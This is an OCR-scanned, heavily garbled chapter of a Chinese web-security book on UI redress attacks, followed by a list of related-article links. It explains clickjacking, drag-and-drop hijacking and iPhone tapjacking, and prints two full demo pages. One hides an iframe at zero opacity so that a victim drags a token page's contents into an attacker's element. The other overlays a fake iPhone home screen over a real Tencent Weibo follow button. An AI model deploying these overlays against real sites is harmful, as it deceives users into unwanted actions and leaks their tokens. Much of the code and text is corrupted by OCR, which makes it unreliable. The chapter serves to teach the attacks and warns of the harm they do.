前端黑客之界面操作劫持

界面操作劫持是近几年Web安全领域发展起来的一种新型攻击方法，其影响非常广泛， Twitter、Facebook等国际知名网站都先后受到过这种攻击。2010年，国外安全机构统计前 500位最受欢迎的网站中，也只有】4%的网站对这种攻击进行了有效的防护，国内的网站 系统采取了相应防护手段的更少。本章将深入研究界面劫持攻击的演变历程和技术原理， 让大家明白什么是界面操作劫持。

添加启动画面的语句为：

<link rel="apple-touch-startup-image** href=Mstartup.png" />

全屏显示的语句为：

<meta name="apple-mobile-web-app-capable" content="yes">

改变状态栏样式为如图5-1所示的Status bar位置，语句为：

<meta name="apple-mobile-web-app-status-bar-style" content="black"> 经过上面的设置后，Web页面就和一个原生态的APP应用差不多了，其中，全屏模式 将会隐藏URL地址栏和状态栏(图5-1中URL text field和Button bar位置)。

  1. 可视区域viewport

viewport就是除去所有的工具栏、状态栏、滾动条等之后网页的可视区域，如图5-1中的 "Visible area"区域。移动设备的屏幕大小不同于传统的Web,所以我们需要改变viewport。

例如，下面的代码：

<meta name=nviewport" content="width=320;

initial-scale=l.O;maximum-scale=l.0; user-scalable=no;"/>

其中用到的参数含义如下：

width - // viewport的宽度(范围从200到10000,就认为980像素)

initial-scale - //初始的缩放比例(范围从0到10)

maximum-scale - //允许用户缩放到的最大比例

user-scalable - //用户是否可以手动缩(no, yes)

  1. 隐藏URL地址栏

除了用全屏模式隐藏URL地址栏(图5-1中URL text field位置)夕卜，还可以使用如 下代码实现对URL地址栏的隐藏。

<body οnlοad=',setTimeout (function (>

{ window. scrollTo (0, 1) ), 100) ; **>

</body>

  1. 触屏函数

对传统的Web设计而言，IPhone IOS的Safari浏览器中有自己独特的触屏API函数，

我们可以使用这些函数模拟鼠标键盘的动作。表5-2是IPhone中的触屏(touch)函数。 表5-2触屏函数

函 数

说 明

touchstart

手指放在屏專上时麟发

Touchend

手指离开屏幕时触发

touchmove

手指在屏幕上移动时触发

touchcancel

系统"以取消touch耶件

在这些触屏移动设备中，同样可以使用透明层+iframe方法，然后配合触屏设备中自身 的API函数来发起触屏劫持攻击。

5.3界面操作劫持实例

本节将分别针对点击劫持、拖放劫持、触摸劫持给出真实的攻击实例。

5.3.1点击劫持实例

我们已经对点击劫持原理做了详细分析，接下来给出一个真实的点击劫持攻击实例一 腾讯微博“立即收听”按钮点击劫持攻击。这个攻击达到的效果是，用户在不知情的情况 下收听某用户。

这里以微博http://t.qq.com/xisigr为例做一个实验，如果你没有收听这个账号，那么 在你已登录腾讯微博的状态下浏览微博主页时，则会出现收听“立即收听”的按钮，如 图5-2所示，可以看到"立即收听”这个按钮，而且链接http://t.qq.com/xisigr可以被iframe 嵌套。

Hhttps : //passporj^Ttesta . com/?ldgout&token=012 34 5678 9,,>jMtH</a> .一

我们可以看到token的数值是0123456789。

B页面设计为：在小球的上而使用<iframe>标签加入隐藏层，用户单击小球后，按Ctrl+A 组合键或滑动鼠标操作实际上是选择了隐蔵层中的内容，这里就是http://192.168.10.101/Token.html中的内容。在海豚的嘴上方使用<div>标签加入隐蔵层。

完成拖放操作后，接卜来进行跨域操作，诱惑用户把-个域中<iframe>的内容拖放到 另个域的<div>中。当操作成功后，会把拖动的数据打印在页面上。完整的代码如下：

<html>

<head>

Drag and Drop Attack Demo

</title>

<style>

.IFrame_hidden{height: 50px; width: 50px; top:360px; left:365px; overflow:hidden;

filter: alpha(opacity=0); opacity:.0; position: absolute; ) .text_ areahidden{

height: 30px; width: 30px; top:180px; left:665px; border:Ipx solid black;

overflow:hidden; filter: alpha(opacity=0); opacity:.0;position: absolute;}

.ball{ top:350px; left: 350px; position: absolute; } .ball_l{ top:136px; left:640px; filter: alpha(opacity=0); opacity:.0; position:

absolute; }.Dolphin{

top:150px; left:600px; position: absolute; }.center{ margin-right: auto;margin-left:

auto; vertical-align:middle;text-align:center; margin-top:350px;}

</style>

<script>

function Init () ( //添加险听

var source = document.getElementById("source");

var target = document.getElementById("target");

i f (source.addEventListener) {

target. addEventListener ( Hdrop,' fDumplnfo, false);

} else (

target.attachEvent("ondrop", Dumpinfo);

)

}

function entities(s) {

var e = {

‘心：," ' r

• & f: * &',

,<f: '< 1 r

1>,

I；

return s ・replace(/【"&<>]/g,

function(m) (

return e[m];

})；

I

function Dumpinfo(event) (

showHide ball. call (this) ; //地面上的小球消失 showHide_ball_l. call (this) ; //海豚嘴上的小球出现 if (event.dataTransfer . types) { //Firefox 浏览器支持

var info = document.getElementByld (ninfoH);

info.innerHTML += "〈span style='color:#3355cc;font-size:12px1>° ♦ entities (event. dataTransfer. get Data (' text/html') ) + •'</span><br>

//在页面上打印出获取到的数据

} else { //IE浏览器支持

setTimeout("html()", 10);

function html () {.，

document ・getEiementByid(' target1).innerText

:rtarget') . innerHTML;「

/ - var \ info := document.. getElemeritByld ("info");

.■ .< S • J 4 . • . • ， .. ... • . X

T. .rt*

.・-W -■

=_. document .'getEiementByid*...'.

，.:info. innerHTML += H<span' s*yle =.' co 1 or-: # 3355cc'; font-size: 12px 1>'+

(document ；getElementById ( ' target • ) innerHTML) + M<7span><br>• *'; *

'•.」/«底面匕打印出*取莉的薮据*:""宀 一 "「‘I

- • . .   .. ・・，. .

function showHide frame()(

var IFramejl = .document.getEiementByid("I Frame 1H);.

.'-IFrame ^lVstyle 1 opacity 三 this ^checked ? .一"0三 5":.当0'!；

IFrame 1-style.filter

+ (this, checkedn50n: ••);

"progid:DXImageTransform.Microsoft.Alpha(opacity= 「.

~ • * - •乙• - — •--——嵐七••- - ••-

切.

.'-function .showHide-text () (''

var text;2_l' =. document-. getEiementByid (,,target,,X;._-.' text; -1. s t y 1 e. opac i t yt hi s .checked * ? "0 ：5" : "0";

—'text* 1-. styieff ilter 1 = ''progid: DXIrnageTransfo rm .Microsoft. Alpha： =_

(opacity^'L + -(this.checked ?-"50":

•. •二 、二 - 二・. —.•二一 一 —-

"0M) + ”)；”

function showHide ball () {。.

•var hide ball•

document ・getEiementByid("hide_ballM);

• hide.ball.style.opacity = "0 H

hide -ba 11. sty 1 e.. fil.ter = - "alpha (opacity=b) '' ;

jfunction ;show.Hide ball ' 1:( )；-{/..

：~ 2 hide^all^l. style ・ opacity

-.document-.getEiementByid (.?hide ball?"');..

hide ball' 1. style . filter "alpha (opacity=100) M;

}

function reload_text() (

document.getElementByld (''target") .value ='';

}

</script>

</head>

<body onload=,,Init () ; M>

<center>

<hl>

Drag and Drop Attack

</hl>

</center>

<img id=nhide_ballwsrc=ball.png class=wballl,>

<div id=wsource,,>

<iframe id=wIFrame_lwsrc=whttp://192.168.10.101/Token.html

"class=wIFrame_hiddenMscrolling=wnow>

</iframe>

</div>

<img src=Dolphin.jpg class=MDolphinw>

<div>

<img id=whide_ball_lMsrc=ball.png class=,1ball_ll,>

</div>

<div>

<div id=ntargetMclass=ntext_area_hiddenMcontented!table-Mtruew>

test

</div>

</div>

<div id=f,infoMstyle=wposition:absolute;background-color:#e0e0e0;fontweight : bold; top:600px;M>

</div>

<center>

游戏规则：-Ctrl + A"或滑动鼠标选中小球，然后把小球拖放到海豚的嘴上.

<br>

</center>

<br>

<br>

<div class=wcenter">

<center>

<center>

<input id=MshowHide_framentype=wcheckboxwοnclick=wshowHide_frame.call

(this);n

/>

<label for=,,showHide_frame">

Show the jacked I■-Frame

</label>

I

<input id= MshowHide_textHtype=wcheckboxMοnclick=°showHide_text.call(this);M

/>

<label for-MshowHide_textM>

Show the jacked Textarea

</label>

I

<input type=button value=MReplaywοnclick=nlocation.reload();reload_ text();H>

</center>

<br>

<br>

<b>

Design by

<a target«w_blankwhref«nhttp://hi.baidu,com/xisigrn>

xisigr

</a>

</b>

</center>

</div>

</body>

</html>

对于页面B,美工可以进一步优化以诱导用户进行拖放操作。从功能上还叫扩展，在 这个例子中只是象征性地把获取到的数据打印在页面匕实际攻击中，可以直接把获取的 数据进行上传并保存。

上述测试代码在IE 9.0和Firefbx 8.0浏览器中运行正常，大家可以发现在Firefox浏览 器中进行拖放的时候，浏览器会把拖放的内容以阴影的形式显示出来，这样欺骗起来就比 较困难了，因为用户可以看到你拖放的实际内容是什么。而在1E 9.0中拖放的时候，只会 出现一个小加号。可以看到发动拖放劫持攻击的难度还是比较高的，它需要有很多技巧和 互动操作。一方面，攻击者要设计漂亮的网页：另一方面，攻击者要和用户有大量的坯动， 以诱导用户在网页上进行拖拽操作。

5.3.3触屏劫持实例

在5.2.4节中，我们已经了解了 IPhone手机的屏幕区域设计，也掌握了触屏劫持中要 用到的技术要素。卜一面的触屏劫持实例仍以5.3.1节中的腾讯微博“立即收听”按钮为例进 行介绍，不同的是，这里的操作环境在IPhone设备上。

如图5-9所示，大家看到后是不是以为这是IPhone手机的桌面，而且桌面上收到一条 短信。如果你认为这是IPhone桌面，而且按照习惯去触摸冋复或关闭这个按钮，那么你就 己经被触屏劫持了。因为图5-9所示的是-个以IPhone桌面为背景的Web网页。当把网页 保存为524节中提到的以桌面浏览器形式打开时，网页就支持全屏显示了，以这种形式呈 现的网页更像是本地的原生态APP应用程序，使用户根本就分不清哪个是桌面，哪个是网 页。而当你触摸显示按钮后，实际上是触摸了其上方的腾讯微博“立即收听”按钮，如图 5-10所示。

图5-9伪装的IPhone背景+短信

完整的代码如下：

<html>

<head>

<title>iPhone Tapjacking Demo</title>

<meta name="viewport" content=Hwidth=320; initial-scale=l;

user-scalable=no;"/>

<meta name='tapple-mobile-web-app-capable,rcontent=HyesH/>

<meta name=napple-mobile-web-app-status-bar-stylencontent="black-

translucentM/>

<style>

body{

margin:0;

padding:0;

}

#hidden(

height: 260px;

width: 300px;

top:30px;

overflow:hidden;

position: absolute;

filter: alpha(opacity=0);

opacity:0;

z-index:2;

)

#dl{

width:320px;

height:480px;

position:absolute;

z-index:1;

)

</style>

</head>

<body>

<img id="dl" src="spoofT.png">

<iframe id=,,hiddenMsrc="http: / /t .qq. com/xisigr" scrolling=*'no"></iframe>

</body>

</html>

5.4有何危害

界面操作劫持实际上突破了 CSRF的防御策略，这是一种社工色彩很强的跨域操作, 而这种跨域正好是浏览器自身的特性。它带来的危害可以很大，比如，删除与篡改数据、 偷取隐私甚至爆发蠕虫（可以在第9章“Web蠕虫"中査看详情）。

我们在实际的攻击测试中发现，大家对这方面的意识是很薄弱的，即使没有很好的美 丁.功底，其成功率还是比较高的，但是在真实的攻击案例中，这类攻击出现得非常少，将 来也许会逐渐多起来（因为无论是Web厂商还是用户，其防御意识都很薄弱），界面操作 劫持会不断地进化。

web前端黑客技术揭秘（5）相关推荐

  1. 图书推荐：《Web前端黑客技术揭秘》

    图书推荐:<Web前端黑客技术揭秘> 电子书预览及下载  编辑推荐     在Web技术飞速演变.电子商务蓬勃发展的今天,企业开发的很多新应用程序都是Web应用程序,而且Web服务也被越来 ...

  2. web前端黑客技术揭秘 10.关于防御

    转载于:https://www.cnblogs.com/wingzw/p/7429464.html

  3. web前端黑客技术揭秘 读书笔记

    2019独角兽企业重金招聘Python工程师标准>>> 关于sql注入 正常sql : select username,email from users where id=1 ;  ...

  4. 《Web前端黑客技术揭 秘》解决部分示例无效的问题

    问题 这本书是13年出版的,随着技术的更新换代,所以某些漏洞已经被一些浏览器厂商修复. 比如75页的 http://www.foo.com/xssme.html#document.write(&quo ...

  5. html 表单自动数值,web前端学习技术之对HTML5 智能表单的理解

    原标题:web前端学习技术之对HTML5 智能表单的理解 Html5新增input的form属性,用于指向特定form表单的id,实现input无需放在form标签之中,即可通过表单进行提交. - t ...

  6. web前端开发技术要求会什么

    对[web前端请添加链接描述](http://www.suzxms.com.cn/web/)多少有了解的人,都知道Web前端开发工程师是一项很特殊的工作,现今互联网时代,静态的网页制作已经无法满足企业 ...

  7. Web前端开发技术栈（前端干货）

    Web前端开发技术栈 浏览器 Internet Explorer(需要了解,需不需要看公司业务需求) Chrome(建议学习使用) Firefox(建议学习使用) Safari(建议学习使用) Ope ...

  8. html表单实验结论,web前端开发技术实验报告-实验五

    1.长 春 大 学 20 15 2016学年第 二 学期Web前端开发技术 课程实 验 报 告学 院: 计算机科学技术专 业: 软件工程 班 级: 软件14402 学 号: 姓 名: 王 悦 任课教师 ...

  9. 《Web前端开发技术》笔记

    参考文献--<Web前端开发技术> by 储久良 目录 第1章 Web前端开发技术综述 1.1 Web概述 1.1.1 Web的起源 1.1.2 Web的特点 1.1.3 Web工作原理 ...

最新文章

  1. 计算机组成原理：总线
  2. C++ std::condition_variable wait() wait_for() 区别
  3. CL_THTMLB_COLOR_UTIL
  4. 蓝桥杯省内模拟赛解题过程
  5. 汇新杯┃拼多多黄峥：普通的创业者，不普通的朋友圈_创成汇
  6. 18、OpenCV Python 简单实现一个图片生成（类似抖音生成字母人像）
  7. 解决Kscope中文乱码问题
  8. ubuntu卸载nvidia显卡驱动
  9. h5 在线语音识别接口
  10. 【渝粤教育】电大中专消费者心理学基础作业 题库
  11. 搞了一个迭代发布下SpringBoot Jar瘦身方案，老大给我打了个A+
  12. Quartus II破解出现的问题
  13. Scrapy爬取起点中文网小说信息 绝对领域cosplay
  14. linux和嵌入式开发区别,嵌入式开发与普通编程开发的区别
  15. python编程基础与数据分析_Python编程基础与数据分析
  16. 怎么用快捷键快速切换电脑
  17. php 多个curl 很慢,PHP下CURL异常慢
  18. ffmpeg 3.2版本播放ts流正常，但是录制成为MP4的文件播放黑屏
  19. java植物大战僵尸小游戏
  20. 牛客网编程入门刷题简单整理

热门文章

  1. 企鹅极光盒子显示服务器连接失败,企鹅极光盒呢？这三种方法告诉你如何解决他们...
  2. 同年同月同日出生的爱情
  3. 项目打包打的是什么包_放弃31亿元入股万达电影，却花2亿元投资万达电影项目，文投控股打的什么算盘？...
  4. Latex文档编辑方法（更新中）
  5. Oracle创建本地数据库实例及配置
  6. python获取电脑有线/无线网卡MAC地址信息
  7. 基于CubeMX+STM32F405RGT6+freeMODBUS_RTU的移植
  8. 科大讯飞（7.31）
  9. 巴比伦富翁:让钱包充盈的7个方法
  10. Vcenter 与 VCSA